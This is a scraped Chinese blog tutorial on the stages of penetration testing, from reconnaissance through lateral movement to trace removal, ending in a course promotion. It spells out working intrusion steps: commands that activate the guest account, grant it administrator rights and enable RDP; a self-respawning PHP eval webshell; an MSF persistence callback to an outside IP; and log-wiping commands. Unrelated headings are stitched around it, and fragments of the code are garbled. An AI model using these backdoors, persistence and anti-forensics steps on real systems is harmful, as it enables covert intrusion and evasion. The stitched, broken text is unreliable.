V-G模型实战:如何用Python拟合土壤水分特征曲线(附完整代码)

核心内容摘要

掌握低查重AI教材写作,利用AI工具轻松生成优质教材
企业级BI新标准:衡石科技如何保障高并发、多租户与数据安全

强化学习·导论

小白入门黑客之渗透测试超详细基本流程内附工具)经常会收到小伙伴们这样的私信:为什么我总是挖不到漏洞呢?渗透到底是什么样的流程呢?所以全网最详细的渗透测试流程来了!!!渗透测试其实就是通过一些手段来找到网站APP网络服务软件服务器等网络设备和应用的漏洞告诉管理员有哪些漏洞怎么填补从而防止黑客的入侵。

渗透测试分为白盒测试和黑盒测试白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透有点类似于代码分析黑盒测试就是只告诉我们这个网站的url其他什么都不告诉然后让你去渗透模拟黑客对网站的渗透我们现在就模拟黑客对一个网站进行渗透测试这属于黑盒测试我们只知道该网站的URL其他什么的信息都不知道。

接下来我就给大家分享下黑盒渗透测试的流程和思路一般来说渗透测试的基本流程如下确定目标信息收集漏洞探测漏洞利用getshell内网转发内网渗透痕迹清除撰写渗透测试报告一 确定目标这个没什么好说的就是确定你的渗透目标是什么。

二 信息收集信息收集是整个渗透测试中最重要的一步你要把你要攻击的目标全部探测清楚才能更好的攻击。

信息收集的越丰富内容或情报收集的越多攻击的成功率就越高。

而信息收集到底要收集哪些信息呢接下来我就给大家整理了一下渗透测试中常见的一些需要收集的信息。

主机扫描(Nessus)对目标主机进行扫描而不仅仅是对网站进行扫描扫描目标主机开放了哪些端口扫描端口运行的服务目标主机上有哪些漏洞。

主机扫描的工具也有很多比如Nessus

端口扫描(nmap)需要知道目标服务器开放了哪些端口常见的如 135 、137 、138 、139 、445这几个端口经常爆发漏洞。

以下是一些服务端口的漏洞22——ssh弱口令873——rsync 未授权访问漏洞3306——mysql弱口令6379——redis未授权访问漏洞端口扫描工具有nmap和masscan。

nmap扫描的准确性较高但是扫描的比较慢。

masscan扫描的比较快但是准确性较低。

网站敏感目录和文件扫描网站目录结构看看是否可以遍历目录或者敏感文件泄漏后台目录弱口令万能密码爆破安装包获取数据库信息甚至是网站源码上传目录截断、上传图片马等mysql管理接口弱口令、爆破万能密码然后脱裤甚至是拿到shell安装页面 可以二次安装进而绕过phpinfo会把你配置的各种信息暴露出来编辑器fck、ke、等iis短文件利用条件比较苛刻 windows、apache等提到了网站敏感目录我们就不得不提 robots.txt 文件了robots.txt 文件是专门针对搜索引擎机器人robot 编写的一个纯文本文件。

我们可以在这个文件中指定网站中不想被robot访问的目录。

这样我们网站的部分或全部内容就可以不被搜索引擎收录了或者让搜索引擎只收录指定的内容。

因此我们可以利用robots.txt让Google的机器人访问不了我们网站上的重要文件GoogleHack的威胁也就不存在了。

假如编写的robots.txt文件内容如下User-agent: * Disallow: /data/ Disallow: /db/ Disallow: /admin/ Disallow: /manager/ Allow:/images/其中“Disallow”参数后面的是禁止robot收录部分的路径例如我们要让robot禁止收录网站目录下的“data”文件夹只需要在Disallow参数后面加上 /data/ 即可。

如果想增加其他目录只需按此格式继续添加。

文件编写完成后将其上传到网站的根目录就可以让网站远离Google Hack了。

虽然robots文件目的是让搜索蜘蛛不爬取想要保护的页面但是如果我们知道了robots文件的内容的话我们就可以知道目标网站哪些文件夹不让访问从侧面说明这些文件夹是很重要的了。

探测目标网站后台目录的工具有 wwwscan 、御剑 、 dirbuster、cansina 等

旁站和C段扫描旁站指的是同一服务器上的其他网站很多时候有些网站可能不是那么容易入侵。

那么可以查看该网站所在的服务器上是否还有其他网站。

如果有其他网站的话可以先拿下其他网站的webshell然后再提权拿到服务器的权限最后就自然可以拿下该网站了对于红蓝对抗和护网C段扫描比较有意义。

对于单独网站的渗透测试C段扫描意义不大。

C段指的是同一内网段内的其他服务器每个IP有ABCD四个段举个例子

192.

168.

1A段就是192B段是168C段是0D段是1而C段嗅探的意思就是拿下它同一C段中的其中一台服务器也就是说是D段

中的一台服务器然后利用工具嗅探拿下该服务器。

网站漏洞扫描网站漏洞扫描就是直接对网站进行漏洞探测了。

网站漏洞扫描也有很多工具。

比如 AWVS、AppScan、OWASP-ZAP、nessuss等等。

但是需要注意的是使用漏扫工具直接对网站进行扫描因为一下子流量过大有些网站可能会崩溃。

所以一般最好不要使用漏洞扫描工具对网站进行扫描。

并且如果未经授权就用漏扫对网站进行扫描还是违法的

网站指纹识别在渗透测试中对目标服务器进行指纹识别是相当有必要的因为只有识别出相应的Web容器或者CMS才能查找与其相关的漏洞然后才能进行相应的渗透操作。

CMS又称整站系统。

常见的CMS有WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog等。

常见的网站指纹识别工具有whatweb等。

公司敏感信息网上搜集当确定了公司后我们可以去互联网上查询与该公司有关的任何信息。

比如公司的邮箱格式公司的员工姓名以及与该公司有关的任何信息。

并且我们还可以去Github、码云等代码托管平台上查找与此有关的敏感信息有些粗心的程序员在将代码上传至代码托管平台后并没有对代码进行脱敏处理。

导致上传的代码中有包含如数据库连接信息、邮箱密码、还有可能有泄露的源代码等。

域名信息的收集当我们确定了要渗透的目标也就是知道了其域名接下来我们需要收集域名对应的 ip域名的whois信息、子域名等等一系列与域名相关的信息。

判断域名对应的IP首先我们要判断该域名是否存在CDN的情况我们可以去在线CDN查询网站多个地点Ping服务器,网站测速 - 站长工具。

如果查询出的ip数量大于一个的话则说明该ip地址不是真实的服务器地址。

以我的经验来看如果是2个或者3个并且这几个地址是同一地区的不同运营商的话则很有可能这几个地址是服务器的出口地址该服务器在内网中通过不同运营商NAT映射供互联网访问同时采用几个不同的运营商可以负载均衡和热备份。

如果是多个ip地址并且这些ip地址分布在不同地区的话则基本上可以断定就是采用了CDN了。

域名的whois信息whois是用来查询域名注册所有者等信息的传输协议。

简单说whois就是一个用来查询域名是否已经被注册以及注册域名的详细信息的数据库如域名所有人、域名注册商。

通过whois来实现对域名信息的查询。

早期的whois查询多以命令行接口存在但是现在出现了一些网页接口简化的线上查询工具可以一次向不同的数据库查询。

网页接口的查询工具仍然依赖whois协议向服务器发送查询请求命令行接口的工具仍然被系统管理员广泛使用。

whois通常使用TCP协议43端口。

每个域名/IP的whois信息由对应的管理机构保存。

三 漏洞探测当我们收集到了足够多的信息之后我们就要开始对网站进行漏洞探测了。

探测网站是否存在一些常见的Web漏洞比如SQL注入XSS跨站脚本CSRF跨站请求伪造XXE漏洞SSRF服务端请求伪造漏洞文件包含漏洞文件上传漏洞文件解析漏洞远程代码执行漏洞CORS跨域资源共享漏洞越权访问漏洞目录浏览漏洞和任意文件读取/下载漏洞struts2漏洞JAVA反序列化漏洞这些是网站经常发现的一些漏洞还有一些网站漏洞这里我就不一一列举出来了。

网站漏洞扫描工具也有很多比如AWVSAppScanOwasp-ZapNessus网站漏洞扫描工具我就列举这几种还有很多最常用的是这几个四 漏洞利用当我们探测到了该网站存在漏洞之后我们就要对该漏洞进行利用了。

不同的漏洞有不同的利用工具很多时候通过一个漏洞我们很难拿到网站的webshell我们往往需要结合几个漏洞来拿webshell。

常用的漏洞利用工具如下SQL注入 —— SqlmapXSS跨站脚本—— Beef-XSS抓包改包工具—— Burpsuite工具 、 Fidder抓包软件文件上传漏洞上传漏洞的话我们一般会上传一句话木马上去进而再获得webshell传送门—— Webshell和一句话木马但是获得了webshell后一般权限很低所以我们需要提权可以选择反弹一个MSF类型的shell提权Metasploit Framework(MSF)的使用 、 Msfvenonm生成一个后门木马也可以反弹一个CobaltStrike类型的shell渗透测试神器Cobalt Strike的使用 也可以MSF和CobaltStrike联动MSF和CobaltStrike联动 也可以使用其他提权Windows提权 、 Linux提权五 内网转发当我们获取到了网站的Webshell之后如果我们想获取该主机的有关信息我们可以将该主机的webshell换成MSF的shell。

直接生成一个木马然后在菜刀中执行该木马我们就能接收到一个MSF类型的shell了。

如果我们还想进一步的探测内网主机的信息的话我们就需要进行内网转发了。

我们是不能直接和内网的主机通信的所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。

六 内网横向渗透当我们在获取了外网服务器的权限进入该系统后我们要想尽办法从该服务器上查找到我们想要的信息。

对于windows主机我们应该多去翻翻目录或许能有很多意想不到的结果。

很多人习惯把账号密码等容易忘的东西存放在备忘录中或者是桌面上。

我们还可以查找数据库的连接文件查看数据库的连接账号密码等敏感信息。

当我们获得了windows主机的账号密码或者是自己创建了新用户后我们为了不被网站管理员发现和不破坏服务器。

我们尽量不要使用远程桌面。

因为使用远程桌面动静比较大如果此时服务器管理员也在登录而你此时通过远程桌面登录的话会将管理员挤掉而你也将很快的被管理员踢掉。

对于实在是要远程桌面登录的情况的话我们尽量不要新建一个用户进行登录。

我们可以激活 guest 用户然后将其加入 administrators 组里面用 guest 用户身份登录。

在RDP远程登录后我们可以查看其他用户桌面上和其他目录有哪些软件我们要找的目标有以下。

FTP相关的软件数据库相关的软件打开浏览器查看历史记录查看某些网站是否保存有用户密码。

利用工具查看浏览器保存的密码从该主机上找到的账号密码我们可以做一个字典在对内网其他机器进行爆破的时候很有可能是同密码。

net user guest /active:yes #激活guest用户 net localgroup administrators guest /add #将guest用户添加到 net user guest 密码 #更改guest用户密码 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口对于Linux主机我们可以查看开放的端口号开放的服务与其建立连接的内网主机。

查看目录查找网站数据库连接密码。

总之就是尽可能的多查找一些账号密码这对于内网的账号爆破非常有用。

在搭建了隧道可以通内网后我们首先就需要对内网进行资产发现了。

但是对于内网存活网段的判断是一个大问题。

内网很有可能同时存在

10.

0.

0/

8、

172.

16.

0/

16、

192.

168.

0/24 网段。

这就需要我们用扫描器对其进行探测了。

通过代理进行内网扫描不建议使用nmap。

如果是在本地主机通过代理扫描可以图形化界面的话可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。

但是注意线程调低一点不然代理很容易崩了。

如果使用命令行扫描器的话可以使用S扫描器。

在扫描了内网资产和端口开放情况后对于445端口就可以打一波MS17_010。

但是注意通过代理打445和之前的是不一样的。

传送门—— 内网渗透之MS

对于3389端口可以打一波CVE-

传送门—— CVE-

远程桌面漏洞复现 。

对于1433/3306/6379等端口可以尝试爆破利用之前收集到的账号密码成功率更高哦。

权限维持在拿到目标主机的权限后很有可能当时我们并不能获取到想要的东西需要进行长期的潜伏特别是在内网渗透中需要进行长期的信息收集。

这时权限维持就很重要了。

我们需要维持住获得的现有权限。

Web后门1隐藏后门文件(将文件设置为隐藏)2不死马该脚本每5秒向服务器创建test.php并写入一句话免杀木马。

结合attrib命令隐藏文件更好地建立后门。

?php set_time_limit(

;//程序执行时间 ignore_user_abort(

;//关掉终端后脚本仍然运行 unlink(__FILE__);//文件完整名 while(

{ file_put_contents(test.php,?php $aarray($_REQUEST[x]

; $barray_keys($a)[0]; eval($b);?); sleep(

; } ?3 404页面隐藏后门或者在其他自带文件中插入后门代码注以上几种后门方法均能被D盾等工具检测到Windows系统1建立隐藏用户在用户名后加 $2在开机启动目录下放置木马文件只要目标机器重启将回连我们的远控3MSF里的 persistence 模块执行命令可以使目标机器每隔一定时间自动回连远控。

但是容易被发现#反弹时间间隔是5s 会自动连接

192.

1

27的4444端口缺点是容易被杀毒软件查杀 run persistence -X -i 5 -p 8888 -r

192.

168.

1

27 #然后它就在目标机新建了这个文件C:\Windows\TEMP\CJzhFlNOWa.vbs 并把该服务加入了注册表中只要开机就会启动4在域环境下想办法获得 krbtgt 用户的哈希该用户的哈希可以进行票据传递攻击。

而且一般该用户的密码不经常改变。

5shift后门6远程桌面会话劫持Linux系统1SSH后门2crontab定时任务3SSH公钥4创建SUID0的用户七 痕迹清除当我们达到了目的之后有时候只是为了黑入网站挂黑页炫耀一下或者在网站留下一个后门作为肉鸡没事的时候上去溜达溜达亦或者挂入挖矿木马但是大家千万不要干这些事这些都是违法的我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹并不能完全清除完全清除入侵痕迹是不可能的主要是增加管理员发现入侵者的时间成本和人力成本。

只要管理员想查无论你怎么清除还是能查到的。

最主要还是要以隐藏自身身份为主最好的手段是在渗透前挂上代理然后在渗透后痕迹清除。

Windows系统1如果是windows系统可用MSF中的 clearev 命令清除痕迹2如果3389远程登录过需要清除mstsc痕迹3执行命令清除日志del %WINDR%\* .log /a/s/q/f4如果是web应用找到web日志文件删除Linux系统1如果是Linux系统在获取权限后执行以下命令不会记录输入过的命令export HISTFILE/dev/null export HISTSIZE02删除 /var/log 目录下的日志文件3如果是web应用找到web日志文件删除八 撰写渗透测试保告在完成了渗透测试之后我们就需要对这次渗透测试撰写渗透测试报告了。

明确的写出哪里存在漏洞以及漏洞修补的方法。

以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险防止被黑客攻击网络安全学习路线学习资源网络安全的知识多而杂怎么科学合理安排下面给大家

总结了一套适用于网安零基础的学习路线应届生和转行人员都适用学完保底6k就算你底子差如果能趁着网安良好的发展势头不断学习日后跳槽大厂、拿到百万年薪也不是不可能初级网工

网络安全理论知识2天①了解行业相关背景前景确定发展方向。

②学习网络安全相关法律法规。

③网络安全运营的概念。

④等保简介、等保规定、流程和规范。

非常重要

渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-

MS08-

MS10-

MS

操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础

计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现

数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固

Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。

薪资区间6k-15k到此为止大概1个月的时间。

你已经成为了一名“脚本小子”。

那么你还想往下探索吗【“脚本小子”成长进阶资源领取】

脚本编程初级/中级/高级在网络安全领域。

是否具备编程能力是“脚本小子”和真正黑客的本质区别。

在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。

在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。

超级网工这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。

感兴趣的童鞋可以研究一下不懂得地方可以【点这里】加我耗油跟我学习交流一下。

网络安全工程师企业级学习路线如图片过大被平台压缩导致看不清的话可以【点这里】加我耗油发给你大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程需要的话可以扫描下方卡片加我耗油发给你都是无偿分享的大家也可以一起学习交流一下。

网络安全学习路线学习资源结语网络安全产业就像一个江湖各色人等聚集。

相对于欧美国家基础扎实懂加密、会防护、能挖洞、擅工程的众多名门正派我国的人才更多的属于旁门左道很多白帽子可能会不服气因此在未来的人才培养和建设上需要调整结构鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”才能解人才之渴真正的为社会全面互联网化提供安全保障。

特别声明此教程为纯技术分享本书的目的决不是为那些怀有不良动机的人提供及技术支持也不承担因为技术被滥用所产生的连带责任本书的目的在于最大限度地唤醒大家对网络安全的重视并采取相应的安全措施从而减少由网络安全而带来的经济损失

星空无限传媒的星空摄影技巧分享与-星空无限传媒的星空摄影技巧分享与应用

百度百家号客服电话人工服务

123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123